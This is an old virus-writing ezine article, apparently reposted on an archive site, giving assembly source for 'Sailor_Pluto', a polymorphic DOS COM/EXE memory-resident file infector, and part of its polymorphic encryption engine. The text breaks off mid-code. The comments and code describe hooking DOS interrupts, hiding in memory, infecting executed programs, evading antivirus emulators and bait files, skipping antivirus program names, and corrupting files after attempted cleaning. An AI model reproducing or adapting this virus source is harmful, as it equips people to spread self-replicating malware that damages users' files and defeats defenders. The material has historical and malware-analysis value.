Copy Link
Add to Bookmark
Report

xine-2.027

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #2 - Phile 027 |
\-----------------------------/


;
; Name : Sailor_Pluto
; Author : b0z0
; Group : iKx
; Origin : Padania, Jan/Feb/Mar 1997
; Compile : Use TASM 3.0
; tasm /m2 pluto.asm
; tlink pluto
; Description : This is a polymorphic COM/EXE TSR infector using SMPE
; (Sailor Moon Polymorphic Engine) version 0.2. Well, what
; does SMPE do? SMPE will generate quite large decryptors
; (also some Kb sometime) that contains a lot of garbage
; code from the most normal one (reg moving, reg math
; operations, reading/using memory stuff, conditional and
; normal jumps, calls, pushes & pops, flag operations,
; sometime maybe an int3, operations with immediates, both
; with word and byte regs....), up to quite-do-nothing
; interrupts (many of them... some video, kbd and many
; dos stuff ones) and has also many antiemulator structures
; that, currently, are quite succesfull in many cases
; against various antiviruses. The poly engine will also
; randomly encrypt some more bytes than we gived as parameters
; and will also put some more unencrypted bytes after
; the encrypted stuff. This is of course to make disinfection
; very hard. To make the poly a little more interesting
; the maximal random number of instructions between various
; pieces of code is determinated (01Fh or 03Fh) when the
; virus goes resident. So generally in some DOS sessions
; the decryptors will generally look smaller and after some
; boots created decryptors may be bigger :) Of course we are
; just changing the max limit, so the medium size of the
; decryptors will be smaller or bigger, but even with
; the small limit, decryptors can be (depending on the
; random generator) quite big. Also the SMPE can use
; all the registers as counter (just ax won't be used,
; because it is too needed for ints and such like) and
; the standard pointers as pointers (bx,di,si,bp). SMPE
; is able to encrypt the body of the virus from the start
; forward or also starting from the end downto the start.
; It can do really quite a lot of different code, give it
; a look!
; Apart from the poly random bytes at the end of the body
; also some random bytes will be put at the end of the original
; host just before we will put our code. No info about how
; much of these is present anywhere in the virus, so ,even if
; the AVs will be in the future able to force my poly in some
; way, the cleaned files will still be a little dirty :)
; It may be interesting the COM infection marker. Infact
; Sailor_Pluto will put the marker (and of course look
; for it when needed) in a random place in the first 1FFh
; bytes. This is intended to make disinfection (expecially
; the CRC based ones) harder. If TBClean is able to go
; throught the decryptor (very sporadically, because it
; bail out at various ints and sometimes also crashes)
; then the virus (using the old stack method) won't let
; him to restore the real word but something else, so
; TBClean-ed COMs won't work properly ;) As for example
; of this anti-crc signature you can get the TBAV CRC
; files. Infact only first 20h bytes may be reconstructed,
; so also the dear old CRC-files users will have a very
; difficoult existence ]:)
; It has many antibait features:
; - won't infect files divisible 1000 and 1024
; - will compare a word of the previously infected
; file to prevent infecting equal files
; - files with digits aren't infected
; - won't infect if the first two letters of the filename
; are equal to two letters of the previous runned file
; (prevent infecting different goats with a standard
; part as filename)
; - won't infect files beginning with a 'V'. Probable
; bait or unknown 'V'irus releated program
; - won't infect files created in the current month. This
; may slow a little the infection stage, but generally
; programs (commercial or not) aren't created very
; recently. On the other side checking just the day as
; many viruses do may bee too weak as antigoat.
; The virus won't tunnel the original int21h but will rather
; try to get it from List_of_Lists_segment:10A0 (as
; Neurobasher teaches us :)).
; To prevent damaging COM files under Windroga 95 and such,
; Sailor_Pluto won't infect COMs if version is >= 7.
; The poly engine will be encrypted in memory with a 16bit
; xor and will be decrypted when needed. Of course at each
; use (decryption and at the end encryption) of the poly the
; key will be changed. To do this i needed to wrote a simple
; decryption loop, so i decided (once it was there written
; and ready) to use it also on the file. So after the quite
; complex decryptor of the poly engine (that can make add,
; sub, xor, rol, ror with byte or word. as for ror/rol the
; key can be also modified in the loop) we will found a
; classic word xor loop. Nothing special, but will make the
; removing of the virus again a little bit more timewasting ;)
; Since the poly does quite large decryptors, reserving
; a big amount of mem all the time from the installation isn't
; a good idea. So the poly will allocate (and of course free
; them when finished) a part of memory where it will store
; the decryptor and encrypted stuff at any run when the poly
; is needed.
;
;

pluto segment
assume cs:pluto,ds:pluto,es:pluto

org 00h
exe_start:

call realstart
realstart:
pop bp
sub bp,offset realstart ; bp delta offset

push cs
pop ds

mov di,offset virus_normal_encrypt_start
add di,bp
mov ax,crypt_size/2
push di ; we will continue there
jmp short enc_dec_smpe ; do the simple xor loop


enc_dec_smpe_engine:
; this is called for the poly encryption. pointer
; end lenght are already set up for it
mov di,offset smpe_encrypted_start
mov ax,((smpe_encrypted_end-smpe_encrypted_start)+1)/2
enc_dec_smpe:
push cx
mov cx,ax
simple_dec:
; xor word ptr ds:[di],0000h
db 81h,35h,00h,00h
inc di
inc di
loop simple_dec
pop cx
ret


virus_normal_encrypt_start:
mov di,offset isexe ; DI on exe/com marker
add di,bp

cld
cmp byte ptr ds:[di],01h ; is com or exe?
jne exe_segment_adjust

push cs
pop es

exe_segment_adjust:

push es
push es

push di

mov bx,bp
mov ah,18h ; installation check
mov al,ah
int 21h
cmp ax,'SP'
jne go_resident
jmp bx ; if resident it will calculate
; the jump offset for us
go_resident:
mov dx,'MZ'
mov ax,es ; on PSP
xor di,di
dec ax ; to MCB
mov ds,ax ; DS on MCB
l4mcb:
mov bx,word ptr ds:[di+03h]
inc bx
cmp byte ptr ds:[di],dl ; last MCB?
je last
add ax,bx
mov ds,ax
jmp l4mcb
last:
mov cx,size_para+1 ; size in para + 1 for mcb
sub ax,cx
add ax,bx

sub word ptr ds:[12h],cx ; = PSP+2
sub word ptr ds:[03h],cx ; = MCB+3
mov byte ptr ds:[di],dh ; DH = 'M'

mov ds,ax

dec cx
mov byte ptr ds:[di],dl ; "create" last MCB block
mov word ptr ds:[1],08h
mov word ptr ds:[3],cx

inc ax
mov es,ax ; es = virus segment

push cs
pop ds ; ds points on code
mov cx,(virus_size+1)/2
mov si,bp ; start of the virus
rep movsw ; move virus

push es ; virus segment

sub ax,ax
mov ds,ax

mov word ptr es:[simple_dec + 2],ax ; poly isn't enc. yet

mov cx,offset int21_handler
pop dx

cli
xchg cx,word ptr ds:[084h] ; Set our int 21h
xchg dx,word ptr ds:[086h]
mov word ptr es:[old_int21_off],cx ; handler
mov word ptr es:[old_int21_seg],dx
sti

push es
mov ah,52h ; get list of lists
int 21h
push es
pop ds
pop es
mov si,10a0h ; look for original int21h

cmp word ptr ds:[si-2],9090h ; first sig
jne originals
cmp byte ptr ds:[si],0e8h ; check if it is.
jne originals
mov cx,si
mov dx,ds
originals:
mov word ptr es:[orig_21h],cx
mov word ptr es:[orig_21h+2],dx

mov ah,01fh ; select if the max number
in al,40h ; of garbage instructions
ror al,1 ; in the gargage generation
jc dont_add_max ; in this session will be
add ah,020h ; 01fh or 03fh
dont_add_max:
mov byte ptr es:[do_garbage+1],ah ; store it

notinst:
pop di

pop es
pop ds

cmp byte ptr cs:[di],00h ; com or exe?
jne realcom

mov ax,ds ; .EXE restore
add ax,10h
add cs:[di-09h],ax ; modify cs

sub bx,bx
sub cx,cx
sub dx,dx
sub si,si
sub bp,bp

cli
mov sp,word ptr cs:[di-07h] ; restore sp
add ax,word ptr cs:[di-05h] ; modify ss
mov ss,ax
sti

sub ax,ax
push cs:[di-09h] ; push victim cs
push cs:[di-0bh] ; push victim ip
sub di,di
retf ; return on original cs:ip

infip dw 00000h
infcs dw 0fff0h

infsp dw ?
infss dw ?

old_jump db 0cdh,020h,00h ; original first 3 bytes
isexe db 00h ; 00h=exe, 01=com
old_two_rnd db 00h,00h ; original random word

virus_name db 'Sailor_Pluto',0
virus_author db '-b0z0/iKx-'

do_original_21h:
pushf ; does a call to the
call dword ptr cs:orig_21h ; original (if got) int 21h
ret

orig_21h dd 00h

realcom:
sub ax,ax ; .COM file restore
inc ax
xchg ah,al
push ax ; ax = begin of com in mem
push ax
mov si,ax
add si,03h ; si = where to start checking

search_loop:
inc si
cmp word ptr ds:[si],'PS' ; search for changed word
jne search_loop

mov bx,word ptr ds:[di+01h] ; original word

push bx
pop cx ; Be sure that TBClean
dec sp ; and such like will
dec sp ; permanently destroy
pop ax ; the COM file :-)

mov word ptr ds:[si],ax ; restore changed word

lea si,[di-03h] ; old three bytes
pop cx
pop di

xor ax,ax ; needed for some old DOS coms

movsw ; put original 3 bytes
movsb

jmp cx ; jump at cs:100

int21_handler:
xchg ah,al
cmp ax,1818h ; installation check
jne acheck
mov ax,'SP' ; Sailor_Pluto responses
add bx,offset notinst
iret
acheck:
cmp ax,004bh ; program execution
je execute

goint21:
xchg ah,al
db 0EAh
old_int21_off dw ?
old_int21_seg dw ?

;
origin db 'PADANIA - 1997',0
;

execute:
pushf
push dx
push ax
push cx
push bx
push bp
push ds
push si
push di
push es

mov ah,19h ; don't infect on floppyes
call do_original_21h
cmp al,2
jae ok_disk
jmp restore_registers
ok_disk:
push ds
push dx
mov ax,3524h ; get int24h seg and off
call do_original_21h
mov word ptr cs:[old_int24_off],bx ; store them
mov word ptr cs:[old_int24_seg],es

push cs
pop ds
mov dx,offset int24h ; our int24h
mov ax,2524h
call do_original_21h
pop dx
pop ds

push dx
pop di
sloop: ; ds:di-> filename
inc di
cmp byte ptr ds:[di],'.'
jne sloop ; search for '.'
cmp byte ptr ds:[di+4],00h
jne sloop
inc di
look_sla:
dec di
mov al,byte ptr ds:[di-1]
cmp al,'0'
jb ok_name_let
cmp al,'9' ; numeric in name?
jbe exit_from_here
ok_name_let:
cmp al,'\' ; search for \
jne look_sla
lea si,antiviruses
mov ax,word ptr ds:[di]
cmp al,'V' ; probable bait or AV software
je exit_from_here
cmp ax,word ptr ds:[exec_letter] ; similar names?
je exit_from_here
avcloop:
mov cx,word ptr cs:[si]
cmp ax,cx
jne notav
exit_from_here:
stc
jmp endscan
notav:
inc si ; next av signature
inc si
cmp byte ptr cs:[si],00h ; end of the checked sigs?
je endscan
jmp avcloop
endscan:
jnc bogus
jmp oh_shit2
bogus:
mov word ptr ds:[exec_letter],ax ; store 2 letters
mov ax,4300h
call do_original_21h

push cx
push ds
push dx
sub cx,cx
call set_attr

jnc file_writeable
exiting:
jmp oh_shit
file_writeable:
mov ax,3d02h ; open for rw
call do_original_21h
jc exiting
ahead:
mov bx,ax ; bx file handle as usual
push cs
pop ds

; file lenght check

mov al,02h ; lseek at end
call movefile

or dx,dx
jnz leave_ax_check

cmp ax,1388h ; AX = 5000?
jbe set_marker

leave_ax_check:
xor dx,dx

push ax
mov cx,1000d ; divisible by 1000
div cx
pop ax
or dx,dx
jz set_marker

and ax,1ffh ; divisible by 1024
jnz oki_lenght_chk
set_marker:
jmp oh_shit
oki_lenght_chk:

mov ax,5700h ; read date/time
call do_original_21h
push cx
push dx

mov ah,2ah ; get system date
call do_original_21h

sub cx,1980 ; prepare for compare
mov ax,dx
pop dx
push dx
push cx
mov cl,07
rol dx,cl
pop cx
and dl,07fh ; DX = years from 1980
cmp dl,cl
jne different_year ; away if year is different

pop dx
push dx
mov cl,5
ror dx,cl
and dl,0fh ; get just month
xchg ah,al
cmp al,dl
je closing ; exit if month is current

different_year:
xor al,al
call movefile ; go at file start

mov ah,3fh ; read 200h bytes from file
mov cx,200h
lea dx,exeheader
mov si,dx
call do_original_21h

mov ax,word ptr ds:[goat_word]
cmp word ptr [si+02h],ax
je closing ; is the same word at 02h ?

mov ax,'ZM'

cmp word ptr [si],ax ; check MZ
je exestuff
xchg ah,al
cmp word ptr [si],ax ; check ZM
je exestuff
cmp byte ptr [si],0e9h ; jump in com?
jne cominf
push si
add si,02h
mov cx,1ffh ; bytes to check

signature_check:
inc si
cmp word ptr ds:[si],'PS' ; look for our marker
jne next_one
pop si
jmp closing
next_one:
loop signature_check
pop si
cominf:
jmp cominfect ; infect com file
exestuff:
cmp byte ptr [si+18h],'@' ; no winexes
je closing
mov ax,word ptr [si+12h]
xor ax,word ptr [si+16h]
cmp ax,'PS' ; check for infection marker
je closing
cmp word ptr [si+1ah],00h ; internal ovl
jne closing

call exeinfect ; infect .exe file
closing:
pop dx
pop cx
mov ax,0157h ; set date/time
xchg ah,al
call do_original_21h

mov ah,3eh ; close file
call do_original_21h
oh_shit:
pop dx
pop ds
pop cx
call set_attr ; reput old attributes
oh_shit2:
mov ax,2524h ; restore int 24h
mov ds,cs:[old_int24_seg]
mov dx,cs:[old_int24_off]
call do_original_21h

restore_registers:
pop es
pop di
pop si
pop ds
pop bp
pop bx
pop cx
pop ax
pop dx
popf
jmp goint21


cominfect: ;com infection routine
;bx <-- filehandle
;si --> exeheader
;cs=ds=code

push bx
mov ah,30h ; get dos version
call do_original_21h
pop bx
cmp al,07h ; is >= 7 ?
jae exitcominfect ; if so, no COMs, sry :)

push ds ; copy original 3 bytes
pop es
lea di,old_jump ; in old_jump
movsw
movsb
sub si,03h

mov ax,word ptr ds:[si+02h] ; store word for cmp
mov word ptr ds:[goat_word],ax

getrndi:
in al,40h ; where to put our marker
cmp al,4
jbe getrndi
xor ah,al
and ah,01b

dec al ; it will go from 04 to 1feh

mov di,ax
add di,si

mov ax,word ptr ds:[di] ; save old word
mov word ptr ds:[old_two_rnd],ax
mov word ptr ds:[di],'PS' ; put our marker

mov al,02h ; lseek at end
call movefile

cmp ax,0C0DEh ; AX > 49374?
ja exitcominfect ; JMP if >

call add_end ; put some shit on end

push ax

sub ax,03h ; sub the jmp
mov word ptr ds:[exeheader+01h],ax ; new jump
mov byte ptr ds:[exeheader],0e9h

mov byte ptr isexe,01h ; mark as com

pop bp
add bp,100h ; run offset

push ds
push si

mov cx,(virus_size)
xor dx,dx ; virus starts at seg:0
mov al,01h ; can play with es

call smpe ; call poly
jnc poly_exit_ok
pop si ; restore stack
pop ds
jmp closing
poly_exit_ok:
push es
pop ds

mov ah,40h ; write virus

pop si
push ax
call do_original_21h

xor al,al ; go at start
call movefile

pop ax
pop ds
mov cx,200h ; write first 512 bytes
mov dx,offset exeheader
call do_original_21h

exitcominfect:
jmp closing

movefile:
mov ah,42h ; move to start or end
cwd
sub cx,cx
call do_original_21h
ret
add_end:
push ax
push ds
randi_add:
in al,40h
or al,al ; at least 1 byte
jz randi_add
mov ds,ax ; random "From:" place
xor ah,ah
mov cx,ax ; how much pure shit :-)
mov ah,40h ; write to file
call do_original_21h
pop ds
pop ax
add ax,cx ; add to lenght
ret

phrase db 'Chaos is the future and beyond it is Freedom',0

exeinfect:
;bx <- filehandle
;si -> exeheader

mov cx,word ptr [si+04h] ; calculate real lenght
mov ax,512
mul cx
add ax,word ptr [si+02h]
adc dx,00h

mov di,dx

push ax

mov al,02h
call movefile

pop cx

cmp dx,di ; compare lseek length with
jbe oki_lenght
exit_lenght:
ret
oki_lenght:
cmp ax,cx ; lenght loaded by the loader
ja exit_lenght

call add_end ; put some shit at end

adc dx,0

push ax ; store length
push dx

mov cx,word ptr [si+14h] ; store old IP
mov infip,cx
mov cx,word ptr [si+16h] ; store old CS
mov infcs,cx
mov cx,word ptr [si+10h] ; store old SP
mov infsp,cx
mov cx,word ptr [si+0eh] ; store old SS
mov infss,cx

mov cx,10h
div cx

sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx ; new cs:ip
mov word ptr [si+16h],ax

mov cx,'PS'
xor cx,ax ; modify marker
mov word ptr [si+12h],cx ; store marker

mov bp,dx

push dx

mov byte ptr [isexe],00h

push ds
push ax
push si

mov cx,(virus_size)
xor dx,dx ; virus at cs:0
xor al,al ; no es modif

call smpe

push es
pop ds
pop si

jnc poly_exit_exe_ok ; if carry error in poly
add sp,0ah ; stack adjust
ret
poly_exit_exe_ok:

mov ah,40h ; write virus at end
push cx
call do_original_21h

sub al,al ; move at start
call movefile

pop cx
pop ax
pop ds ; rewrite header
pop dx

cmp byte ptr [seg_sta],02h
je cs_must_equ_ss

; we must here pay attention if our poly generated an operation
; using BP as pointer. This is because if BP is used and segment
; isn't explicitly given it will assume that we are working on SS
; and not on DS as with other registers as pointers... so if no
; segment is explicitly given in the poly and BP is used we must
; set SS=CS. In other cases SS=CS+1 so 'K' flag will be less often

inc ax ; SS = CS + 1
cs_must_equ_ss:
mov word ptr [si+0eh],ax ; new stack segment


add dx,cx ; just after body
add dx,500h ; some more coz needed
and dl,0feh
mov word ptr ds:[si+10h],dx ; new stack pointer

pop dx
pop ax

add ax,cx
mov cx,200h ; one page
adc dx,00h
div cx

xchg word ptr [si+02h],dx ; new length
mov word ptr [goat_word],dx
inc ax
mov word ptr [si+04h],ax ; new length

mov ah,40h ; write header
mov cx,200h
mov dx,si
call do_original_21h

exitexeinfect:
ret

set_attr:
mov ax,0143h ; set attributes
xchg al,ah
call do_original_21h
ret

antiviruses db 'TB' ; TBAV and releated
db 'AV' ; AVP
db 'F-' ; F-Prot
db 'SC' ; Scan
db 'MS' ; Misc Micro$Hit warez ;-)
db 'FI' ; Findvirus
db 'NA' ; NAv
db 'CO' ; Command
db 00h ; end of strings

; Int 24h handler. Just go away if error

int24h:
mov al,00h
iret

; Include poly engine source code

include spoly.asm

virus_normal_encrypt_end:

; The poly engine has on end poly_mem_used bytes that are used only
; in memory

virus_end:

old_int24_off dw ? ;original int24 offset
old_int24_seg dw ? ;original int24 segment

exec_letter dw ?
goat_word dw ?

exeheader db 201h dup (?)

virus_end_memory:

size_para=(virus_end_memory-exe_start+0fh)/10h ; virus size in memory
virus_size=(virus_end - exe_start - poly_mem_used + 3)
virus_crypt_size=(virus_normal_encrypt_end-virus_normal_encrypt_start)
crypt_size=(virus_crypt_size-poly_mem_used+1)

pluto ends
end exe_start

;------------------------------------------------------------------------------
;------------- Everything after this line is the SPOLY.ASM file ---------------
;------------------------------------------------------------------------------

;
; Sailor Moon Poly Engine v0.2
; in:
; CX = bytes to encrypt
; DS:DX = what we are going to encrypt (body of ourselves)
; BP = offset at which it will run
; AL = can ES be modified? (00 = NO (for exes) , 01 = YES (for coms))
; it is assumed that DS=CS !!!
;
; out:
; CX,DI = lenght of the generated code
; ES:DX = encrypted code
; BX = preserved
;

poly_mem_used=(poly_data_mem_end-poly_data_mem)
poly_paras=400h ; memory for poly


smpe:
mov ah,01h ; store ah flag
mov word ptr ds:[es_mody],ax
call enc_dec_smpe_engine ; decrypt engine

smpe_encrypted_start:
cld
push bx

;; Try to allocate the needed memory for the poly stuff

mov ah,48h ; allocate mem for our poly
mov bx,poly_paras
call do_original_21h
jnc ok_memory
mov word ptr ds:[simple_dec+2],00 ; we won't encrypt it now,
; so don't decrypt it later ;)
pop bx
stc ; no mem avaiable :(
ret
ok_memory:
mov es,ax ; allocated segment

push cx
push ds ; save important regs
push dx

;; Initialization start

call add_to_cx

sub bx,bx
mov byte ptr ds:[first_inc],46h
mov word ptr ds:[enc_lenght],cx ; save lenght
mov word ptr ds:[enc_loop],3480h ; engine initialization
mov word ptr ds:[isword],bx ; clear type selection
mov word ptr ds:[random_value],09090h ; clear rnd value
mov byte ptr ds:[second_inc],90h ; clear second word inc
mov word ptr ds:[emu_trick],bx
mov word ptr ds:[push_nr],bx
mov word ptr ds:[cmp_check],bx
dec bx
mov word ptr ds:[count_reg],bx ; clear used registers
mov word ptr ds:[nocx],bx ; clear cx and seg flag

sub di,di ; so ES:DI = ES:0

in ax,40h ; initialize encryption
mov word ptr ds:[simple_dec+2],ax ; value for next time

;; Initialization end


;; Decryption building start

call do_garbage ; decryptor gen. start
rndget:
call do_random_dx_0f

cmp al,4 ; no sp
je rndget

cmp al,00h ; no ax
je rndget

mov byte ptr ds:[count_reg],al

mov ah,al
mov al,0b8h ; mov _reg16_,immediate
add al,ah
stosb

in al,40h
ror al,1
jnc on_one_side
mov byte ptr ds:[inverse],01h

on_one_side:

call do_random_dx_0f ; 0-2 ROR, 3-7 MATH

cmp al,2
ja nororing ; select if ror/rol of math

cmp byte ptr es:[di-1],0b9h
je nororing ; if using CX no rol/ror!
mov byte ptr ds:[isrolror],01h ; we'll ror/rol

cmp al,0
jne nororing
inc byte ptr ds:[isrolror] ; rol/ror with diff CL

nororing:
ror al,1
jc notaword
mov byte ptr ds:[isword],01h ; word operation
notaword:

mov word ptr ds:[counter_pos],di
stosw ; we will fill this later
call do_garbage ; shit stuff

isntapnt:
call do_random_dx_0f
cmp al,03h ; select a pointer
jb isntapnt
cmp al,04h
je isntapnt
cmp al,byte ptr ds:[count_reg] ; can't be same as counter
je isntapnt
mov byte ptr ds:[point_reg],al

mov ah,al
mov al,0b8h ; mov _reg16_,immediate
add al,ah
stosb

mov pointer_di,di ; save pointer position
stosw

call do_garbage
cmp byte ptr ds:[isrolror],00h
je dontcl

in al,40h
shr ax,1
pushf
jc make_a_cx
mov al,0b1h ; mov cl,rot_num
stosb
jmp redorandom
make_a_cx:
mov al,0b9h ; mov cx,rot_num
stosb

redorandom:
mov bx,0fh ; how many rols/rors
mov dx,bx
call do_random
cmp al,00h
je redorandom
stosb
mov byte ptr ds:[cl_move],al
mov byte ptr ds:[nocx],01h
popf
jnc no_cxbadd
in al,40h ; something for ch
stosb
no_cxbadd:
call randomshit ; garbage
dontcl:
mov word ptr ds:[secphs],di ; where we will jump
push di
call randomshit
pop ax
ror al,1
jc withsegmentop
mov al,0eh ; PUSH CS
stosb
call randomshit
mov al,1fh ; POP DS
stosb
mov byte ptr ds:[ds_mody],00h ; don't use ds
mov byte ptr ds:[seg_sta],01h
call randomshit
jmp mathoperation
withsegmentop:
mov al,02eh ; CS:
stosb
mathoperation:
cmp byte ptr ds:[isrolror],00h
je puremath
mov al,0d2h ; ROL/ROR base byte
cmp byte ptr ds:[isword],00
je rolbyte
inc al ; word = byte +1
rolbyte:
stosb ; first rol/ror byte
call do_random_dx_0f
ror al,1
mov al,04h
jnc rollinging
add al,08h ; roring
mov byte ptr [enc_loop+1],04h ; encryptor always with SI
jmp rolend
rollinging:
mov byte ptr [enc_loop+1],0ch ; ROL/ROR base
rolend:
cmp byte ptr [point_reg],06h ; ROL/ROR si?
je finish_pointer_ro
inc al
cmp byte ptr [point_reg],07h ; ROL/ROR di?
je finish_pointer_ro
add al,2
cmp byte ptr [point_reg],03h ; ROL/ROR bx?
je finish_pointer_ro
add al,03fh ; so it is bp
inc byte ptr [seg_sta]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer_ro:
stosb
jmp nowordi
puremath:
mov al,080h ; ADD/SUB/XOR base
cmp byte ptr ds:[isword],00h
je goforbyte
inc al ; word = byte +1
goforbyte:
stosb
mov bx,02h
mov dx,03h
call do_random ; select which
mov cl,al
mov al,34h

cmp cl,00h
je xoring

cmp cl,01h
jne subbing
sub al,30h
mov byte ptr [enc_loop+1],2ch ; ADD
jmp xoring
subbing:
sub al,08h
mov byte ptr [enc_loop+1],04h ; SUB
xoring:
cmp byte ptr [point_reg],06h ; SI?
je finish_pointer
inc al
cmp byte ptr [point_reg],07h ; DI?
je finish_pointer
add al,2
cmp byte ptr [point_reg],03h ; BX?
je finish_pointer
add al,03fh ; well, BP!
inc byte ptr [seg_sta]
stosb
sub al,al ; bp needs 1 byte more
finish_pointer:
stosb
in al,40h
mov byte ptr ds:[random_value],al
stosb ; one random value
cmp byte ptr ds:[isword],00h
je nowordi ; encrypting words?
in al,40h
stosb
mov byte ptr ds:[random_value+1],al ; one more
nowordi:
call do_inc_pointer ; increment pointer

cmp byte ptr ds:[isrolror],02h ; rol/ror with changing CX
jne no_cl_change
call random_foo_instructions
in al,40h
ror al,1
mov al,041h ; inc cx
jc increment_cx
add al,08h ; 49h = dec cx
increment_cx:
mov byte ptr ds:[random_value+1],al ; put also in encryptor
stosb

no_cl_change:
cmp byte ptr ds:[isword],00h ; is word?
je noby
call do_inc_pointer ; increment once more
noby:

call do_garbage
mov al,048h ; dec counter
add al,byte ptr ds:[count_reg]
stosb

call do_random_dx_0f ; CMP or no CMP?
cmp al,05h
jae direct_ncmp

push ax
call do_garbage
pop ax

cmp al,02h
ja no_compare

mov byte ptr ds:[can_doda],01h

mov ah,083h ; base for ops
cmp al,00h
ja no_cmp
mov al,0f8h ; CMP counter,0
jmp comp_store
no_cmp:
cmp al,02h
je oring
mov al,0f0h ; XOR counter,0
jmp comp_store
oring:
mov al,0c8h ; OR counter,0
comp_store:
xchg ah,al
add ah,byte ptr ds:[count_reg] ; store op
stosw

sub al,al ; CMP/XOR/OR counter,0
stosb
jmp direct_ncmp
no_compare:
cmp al,04h
je do_with_and
mov al,0bh ; OR counter,counter
jmp second_operand
do_with_and:
mov al,23h
second_operand:
stosb
mov al,0c0h ; AND counter,counter
mov cl,byte ptr ds:[count_reg]
add al,cl
call instr_change
stosb
direct_ncmp:
call do_random_dx_0f
mov cl,al ; random in cl
mov ax,di
inc ax
sub ax,word ptr ds:[secphs] ; check lenght of the jump
not ax ; of the decryption loop
ror cl,1
jc must_be_long
cmp ax,0ff83h
jae do_short_jump

must_be_long:
sub ax,03h ; for the jz forward

push ax
mov ax,0374h ; JZ=JE away
cmp byte ptr ds:[can_doda],00h
je ok_stojz
ror cl,1
jc ok_stojz
inc al ; put JBE
inc al
ok_stojz:
stosw
mov al,0e9h ; JMP
stosb
pop ax

jmp end_bjump

do_short_jump:
cmp byte ptr es:[di-1],049h ; is a DEC CX ?
jne normal_short_jump
ror cl,1
jc normal_short_jump
dec di ; overwrite the dec cx
dec al ; jump bytes
mov ah,0e2h ; LOOP
jmp xchnstr

normal_short_jump:
mov ah,75h ; JNE=JNZ back
cmp byte ptr ds:[can_doda],00h
je xchnstr
ror cl,1
jnc xchnstr
inc ah
inc ah
xchnstr:
xchg ah,al

end_bjump:
stosw
mov ax,01h
mov byte ptr ds:[ds_mody],al ; we can again change DS
dec ax
dec ax
mov word ptr ds:[count_reg],ax ; we can now use all regs

call do_garbage ; put some more garbage

cmp byte ptr ds:[inverse],01h
jne no_more_needed

call do_garbage ; expecially if we encrypted
call do_garbage ; from end to begin - prefetch

no_more_needed:

mov ax,bp

mov si,word ptr ds:[pointer_di] ; calculate pointer on code
add ax,di
cmp byte ptr ds:[inverse],01h
jne lets_cont
add ax,word ptr ds:[enc_lenght]
dec ax
dec ax
lets_cont:
mov word ptr es:[si],ax ; store pointer on code
sub ax,bp

;; Decryptor building end

mov cx,word ptr ds:[enc_lenght]

push cx

cmp byte ptr ds:[isword],00h ; convert lenght in words
je go_for_it
inc cx
shr cx,1
go_for_it:

mov si,word ptr ds:[counter_pos]
mov word ptr es:[si],cx ; store lenght

pop cx
mov dx,cx

pop si
pop ds
pop cx

; Copy code and encrypt it
push di
rep movsb ; copy the virus after
pop di

push ax
push ds
push es
pop ds
add di,offset virus_normal_encrypt_start
mov ax,crypt_size/2
call enc_dec_smpe ; encrypt with the xor
pop ds
pop ax

mov si,ax
push ax
cmp byte ptr ds:[inverse],01h
jne no_decrement_ndd
mov byte ptr ds:[first_inc],4eh ; dec si
no_decrement_ndd:
cmp byte ptr ds:[isrolror],00h ; are we rol(r)ling?
je noro
mov byte ptr ds:[enc_loop],0d2h ; first byte for ror/rol
mov byte ptr ds:[random_value],90h ; no random value req
cmp byte ptr ds:[isrolror],02h

noro:
cmp byte ptr ds:[isword],00h ; word operations?
je pre_enc_loop_one
mov ax,dx
inc ax
shr ax,1
mov dx,ax ; calculate lenght in words
inc byte ptr ds:[enc_loop] ; put word working opcode
mov cl,46h
cmp byte ptr ds:[inverse],01h
jne ok_no_cl_ch
add cl,08h
ok_no_cl_ch:
mov byte ptr ds:[second_inc],cl ; put another inc
pre_enc_loop_one:
db 0b1h ; mov cl,
cl_move db 00h ; immediate

push es ; DS to what we must encrypt
pop ds

jmp enc_loop ; cpus rules 4 prefetch

do_inc_pointer:
call randomshit ; some foo instructions
mov al,040h ; pointer increment
cmp byte ptr ds:[inverse],00h
je no_decrement
add al,08h ; dec base
no_decrement:
add al,byte ptr ds:[point_reg]
stosb
ret

randomshit:
mov bx,0fh
mov dx,bx
call do_random ; how much shit
cmp al,00h
je randomshit
mov cl,al
sub ch,ch
call do_the_random ; do shit
ret

enc_loop:
; xor byte ptr ds:[si],immediate
db 080h
db 034h ; real poly encryption
random_value db 090h
db 90h ; random value2

first_inc db 46h ; inc si
second_inc db 90h ; space for second inc si

dec dx
jnz enc_loop

pop ax

cmp byte ptr cs:[inverse],00h ; from end?
je normali
inc ax ; adjust lenght
inc ax
mov di,ax
jmp after_it
normali:
mov di,si
after_it:

sub dx,dx ; ds:dx = generated code
mov cx,di ; cx=di=lenght

call add_to_cx

pop bx

push ds
pop es

mov ah,49h
call do_original_21h ; deallocate the mem for poly
; ES still on virus code,
; but now it isn't allocated
; any more
push cs
pop ds
jmp enc_dec_smpe_engine ; encrypt poly and exit

poly_name db '[SMPE 0.2]'

add_to_cx:
in ax,40h
and ax,0111111b ; add up to 63 bytes to
add cx,ax ; the lenght in CX
ret

do_garbage:

mov bx,1fh ; max number of garbage i.
mov dx,bx
pung:
call do_random ; how much instructions
cmp al,00h
je pung ; no 0 instruction allowed!
mov cl,al
sub ch,ch ; CX = number of instructions to generate

do_the_random:
mov dx,07 ; used for the random gen
mov bx,dx
call do_random
cmp al,04h ; no SP allowed
je do_the_random
cmp al,byte ptr ds:[count_reg] ; don't change the counter
je do_the_random
cmp al,byte ptr ds:[point_reg] ; don't change the pointer
je do_the_random
cmp al,byte ptr ds:[nocx] ; no CX change if used
je do_the_random
xchg ah,al
mov byte ptr ds:[reg8bits],0 ; reset 8 bit marker
call select_instruction ; generate the instuction
loop do_the_random ; with the selected reg.
ret

select_instruction:
push cx ; AH = destination register
push ax
mov si,offset instructions
redorndin:
mov bx,0ah ; 0Ah basic types of instructions
mov dx,0fh ; don't eliminate some
call do_random ; which instruction will we generate
cmp al,byte ptr ds:[last_done] ; try to change sometime
je redorndin
continue:
mov byte ptr ds:[last_done],al ; store type
add si,ax ; point to the instr. in the table
cmp al,1 ; which instruction
ja foo_label
jmp one_byte_instruction

foo_label:
cmp al,7
jb no_3b
jmp three_bytes_instruction
no_3b:
cmp al,2 ; which instruction
je outta_here
cmp al,4
jne foo_label_2
jmp not_nop
foo_label_2:
cmp al,5
jb outta_here
jmp rolling
outta_here:
mov al,byte ptr ds:[si]
jae finish_mate
push ax
calltheran:
call do_random_dx_0f
mov cl,al
cmp cl,7 ; is a compare?
